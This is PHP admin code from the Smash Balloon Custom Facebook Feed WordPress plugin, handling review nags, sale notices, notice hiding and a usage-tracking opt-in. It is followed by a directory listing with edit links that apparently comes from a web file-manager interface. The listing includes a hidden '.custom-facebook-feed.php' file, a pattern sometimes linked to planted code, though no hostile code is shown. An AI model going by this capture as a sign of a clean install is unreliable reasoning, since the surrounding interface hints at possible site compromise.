'cff_ignore_rating_notice_nag' => 'later', 'cff_ignore_bfcm_sale_notice' => date( 'Y', $current_time ) ) ); } echo" <div class='cff_notice cff_review_notice'> <img src='" . plugins_url( 'img/cff-icon.png?74px' , __FILE__ ) . "' alt='" . __( 'Custom Facebook Feed', 'custom-facebook-feed' ) . "'> <div class='cff-notice-text'> <p style='padding-top: 4px;'>" . __( "It's great to see that you've been using the <strong style='font-weight: 700;'>Smash Balloon Custom Facebook Feed</strong> plugin for a while now. Hopefully you like it! If so, would you consider leaving a positive review? It really helps support the plugin and helps others to discover it too!", 'custom-facebook-feed' ) . "</p> <p class='links'"; if( $should_show_bfcm_discount ) echo " style='margin-top: 0 !important;'"; echo "> <a class='cff_notice_dismiss' style='margin-left:-8px;' href='https://wordpress.org/support/plugin/custom-facebook-feed/reviews/' target='_blank'>" . __( 'Sure, I\'d love to!', 'custom-facebook-feed' ) . "</a> · <a class='cff_notice_dismiss' href='" .esc_url( $dismiss_url ). "'>" . __( 'No thanks', 'custom-facebook-feed' ) . "</a> · <a class='cff_notice_dismiss' href='" .esc_url( $dismiss_url ). "'>" . __( 'I\'ve already given a review', 'custom-facebook-feed' ) . "</a> · <a class='cff_notice_dismiss' href='" .esc_url( $later_url ). "'>" . __( 'Ask Me Later', 'custom-facebook-feed' ) . "</a> </p>" . $other_notice_html . "</div> <a class='cff_notice_close' href='" .esc_url( $dismiss_url ). "'><i class='fa fa-close'></i></a> </div>"; } elseif ( $should_show_new_user_discount ) { global $current_user; $user_id = $current_user->ID; $ignore_new_user_sale_notice_meta = get_user_meta( $user_id, 'cff_ignore_new_user_sale_notice' ); if ( $ignore_new_user_sale_notice_meta !== 'always' ) { echo " <div class='cff_notice cff_review_notice cff_new_user_sale_notice'> <img src='" . plugins_url( 'img/cff-icon-offer.png?74px' , __FILE__ ) . "' alt='Facebook Feed'> <div class='cff-notice-text'> <p>" . __( '<b style="font-weight: 700;">Exclusive offer!</b> We don\'t run promotions very often, but for a limited time we\'re offering <b style="font-weight: 700;">60% off</b> our Pro version to all users of our free Smash Balloon Custom Facebook Feed plugin.', 'custom-facebook-feed' ) . "</p> <p class='cff-links'> <a class='cff_notice_dismiss cff_offer_btn' href='https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=notices&utm_medium=newuser&discount=facebookthankyou' target='_blank'><b>" . __( 'Get this offer', 'custom-facebook-feed' ) . "</b></a> <a class='cff_notice_dismiss' style='margin-left: 5px;' href='" . esc_url( add_query_arg( 'cff_ignore_new_user_sale_notice', 'always' ) ) . "'>" . __( 'I\'m not interested', 'custom-facebook-feed' ) . "</a> </p> </div> <a class='cff_new_user_sale_notice_close' href='" . esc_url( add_query_arg( 'cff_ignore_new_user_sale_notice', 'always' ) ) . "'><i class='fa fa-close'></i></a> </div> "; } } elseif ( $should_show_bfcm_discount ) { echo " <div class='cff_notice cff_review_notice cff_bfcm_sale_notice'> <img src='". plugins_url( 'img/cff-icon-offer.png?74px' , __FILE__ ) ."' alt='Facebook Feed'> <div class='cff-notice-text'> <p>" . __( '<b style="font-weight: 700;">Black Friday/Cyber Monday Deal!</b> Thank you for using the free Smash Balloon Custom Facebook Feed plugin. For a limited time, we\'re offering <b style="font-weight: 700;">60% off</b> the Pro version for all of our users.', 'custom-facebook-feed' ) . "</p> <p class='cff-links'> <a class='cff_notice_dismiss cff_offer_btn' href='https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=notices&utm_medium=bfcm&discount=".$cff_bfcm_discount_code."' target='_blank'><b>" . __( 'Get this offer', 'custom-facebook-feed' ) . "</b></a> <a class='cff_notice_dismiss' style='margin-left: 5px;' href='" .esc_url( add_query_arg( 'cff_ignore_bfcm_sale_notice', date( 'Y', $current_time ) ) ). "'>" . __( 'I\'m not interested', 'custom-facebook-feed' ) . "</a> </p> </div> <a class='cff_bfcm_sale_notice_close' href='" .esc_url( add_query_arg( 'cff_ignore_bfcm_sale_notice', date( 'Y', $current_time ) ) ). "'><i class='fa fa-close'></i></a> </div> "; } } add_action( 'admin_notices', 'cff_notices_html', 10 ); function cff_process_nags() { global $current_user; $user_id = $current_user->ID; $cff_statuses_option = get_option( 'cff_statuses', array() ); if ( isset( $_GET['cff_ignore_rating_notice_nag'] ) ) { if ( (int)$_GET['cff_ignore_rating_notice_nag'] === 1 ) { update_option( 'cff_rating_notice', 'dismissed', false ); $cff_statuses_option['rating_notice_dismissed'] = cff_get_current_time(); update_option( 'cff_statuses', $cff_statuses_option, false ); } elseif ( $_GET['cff_ignore_rating_notice_nag'] === 'later' ) { set_transient( 'custom_facebook_rating_notice_waiting', 'waiting', 2 * WEEK_IN_SECONDS ); update_option( 'cff_rating_notice', 'pending', false ); } } if ( isset( $_GET['cff_ignore_new_user_sale_notice'] ) ) { $response = sanitize_text_field( $_GET['cff_ignore_new_user_sale_notice'] ); if ( $response === 'always' ) { update_user_meta( $user_id, 'cff_ignore_new_user_sale_notice', 'always' ); $current_month_number = (int)date('n', cff_get_current_time() ); $not_early_in_the_year = ($current_month_number > 5); if ( $not_early_in_the_year ) { update_user_meta( $user_id, 'cff_ignore_bfcm_sale_notice', date( 'Y', cff_get_current_time() ) ); } } } if ( isset( $_GET['cff_ignore_bfcm_sale_notice'] ) ) { $response = sanitize_text_field( $_GET['cff_ignore_bfcm_sale_notice'] ); if ( $response === 'always' ) { update_user_meta( $user_id, 'cff_ignore_bfcm_sale_notice', 'always' ); } elseif ( $response === date( 'Y', cff_get_current_time() ) ) { update_user_meta( $user_id, 'cff_ignore_bfcm_sale_notice', date( 'Y', cff_get_current_time() ) ); } update_user_meta( $user_id, 'cff_ignore_new_user_sale_notice', 'always' ); } } add_action( 'admin_init', 'cff_process_nags' ); function cff_get_future_date( $month, $year, $week, $day, $direction ) { if ( $direction > 0 ) { $startday = 1; } else { $startday = date( 't', mktime(0, 0, 0, $month, 1, $year ) ); } $start = mktime( 0, 0, 0, $month, $startday, $year ); $weekday = date( 'N', $start ); $offset = 0; if ( $direction * $day >= $direction * $weekday ) { $offset = -$direction * 7; } $offset += $direction * ($week * 7) + ($day - $weekday); return mktime( 0, 0, 0, $month, $startday + $offset, $year ); } function cff_admin_hide_unrelated_notices() { // Bail if we're not on a sbi screen or page. if ( ! isset( $_GET['page'] ) || strpos( $_GET['page'], 'cff') === false ) { return; } // Extra banned classes and callbacks from third-party plugins. $blacklist = array( 'classes' => array(), 'callbacks' => array( 'cffdb_admin_notice', // 'Database for sbi' plugin. ), ); global $wp_filter; foreach ( array( 'user_admin_notices', 'admin_notices', 'all_admin_notices' ) as $notices_type ) { if ( empty( $wp_filter[ $notices_type ]->callbacks ) || ! is_array( $wp_filter[ $notices_type ]->callbacks ) ) { continue; } foreach ( $wp_filter[ $notices_type ]->callbacks as $priority => $hooks ) { foreach ( $hooks as $name => $arr ) { if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) { unset( $wp_filter[ $notices_type ]->callbacks[ $priority ][ $name ] ); continue; } $class = ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) ? strtolower( get_class( $arr['function'][0] ) ) : ''; if ( ! empty( $class ) && strpos( $class, 'cff' ) !== false && ! in_array( $class, $blacklist['classes'], true ) ) { continue; } if ( ! empty( $name ) && ( strpos( $name, 'cff' ) === false || in_array( $class, $blacklist['classes'], true ) || in_array( $name, $blacklist['callbacks'], true ) ) ) { unset( $wp_filter[ $notices_type ]->callbacks[ $priority ][ $name ] ); } } } } } add_action( 'admin_print_scripts', 'cff_admin_hide_unrelated_notices' ); function cff_free_add_caps() { global $wp_roles; $wp_roles->add_cap( 'administrator', 'manage_custom_facebook_feed_options' ); } add_action( 'admin_init', 'cff_free_add_caps', 90 ); /* Usage */ add_action( 'admin_notices', 'cff_usage_opt_in' ); function cff_usage_opt_in() { if ( isset( $_GET['trackingdismiss'] ) ) { $usage_tracking = get_option( 'cff_usage_tracking', array( 'last_send' => 0, 'enabled' => false ) ); $usage_tracking['enabled'] = false; update_option( 'cff_usage_tracking', $usage_tracking, false ); return; } $cap = current_user_can( 'manage_custom_facebook_feed_options' ) ? 'manage_custom_facebook_feed_options' : 'manage_options'; $cap = apply_filters( 'cff_settings_pages_capability', $cap ); if ( ! current_user_can( $cap ) ) { return; } $usage_tracking = get_option( 'cff_usage_tracking', false ); if ( $usage_tracking ) { return; } ?> <div class="notice notice-warning is-dismissible cff-admin-notice"> <p> <strong><?php echo __( 'Help us improve the Custom Facebook Feed plugin', 'custom-facebook-feed' ); ?></strong><br> <?php echo __( 'Understanding how you are using the plugin allows us to further improve it. Opt-in below to agree to send a weekly report of plugin usage data.', 'custom-facebook-feed' ); ?> <a target="_blank" rel="noopener noreferrer" href="https://smashballoon.com/custom-facebook-feed/docs/usage-tracking/"><?php echo __( 'More information', 'custom-facebook-feed' ); ?></a> </p> <p> <a href="<?php echo admin_url('admin.php?page=cff-top&trackingdismiss=1') ?>" type="submit" class="button button-primary cff-opt-in"><?php echo __( 'Yes, I\'d like to help', 'custom-facebook-feed' ); ?></a> <a href="<?php echo admin_url('admin.php?page=cff-top&trackingdismiss=1') ?>" type="submit" class="cff-no-usage-opt-out cff-space-left button button-secondary"><?php echo __( 'No, thanks', 'custom-facebook-feed' ); ?></a> </p> </div> <?php } function cff_usage_opt_in_or_out() { if ( ! isset( $_POST['opted_in'] ) ) { die ( 'You did not do this the right way!' ); } $usage_tracking = get_option( 'cff_usage_tracking', array( 'last_send' => 0, 'enabled' => false ) ); $usage_tracking['enabled'] = isset( $_POST['opted_in'] ) ? $_POST['opted_in'] === 'true' : false; update_option( 'cff_usage_tracking', $usage_tracking, false ); die(); } add_action( 'wp_ajax_cff_usage_opt_in_or_out', 'cff_usage_opt_in_or_out' );
[+]
..
[+]
languages
[-] custom-facebook-feed-admin.php
[edit]
[+]
inc
[-] email.php
[edit]
[+]
blocks
[-] custom-facebook-feed.php
[edit]
[-] README.txt
[edit]
[-] .custom-facebook-feed.php
[edit]
[-] class-cff-education.php
[edit]
[-] class-cff-error-reporter.php
[edit]
[-] changelog.txt
[edit]
[-] class-cff-sitehealth.php
[edit]
[+]
img
[-] gpl-2.0.txt
[edit]
[+]
fonts
[+]
admin
[+]
js
[+]
css
[+]
templates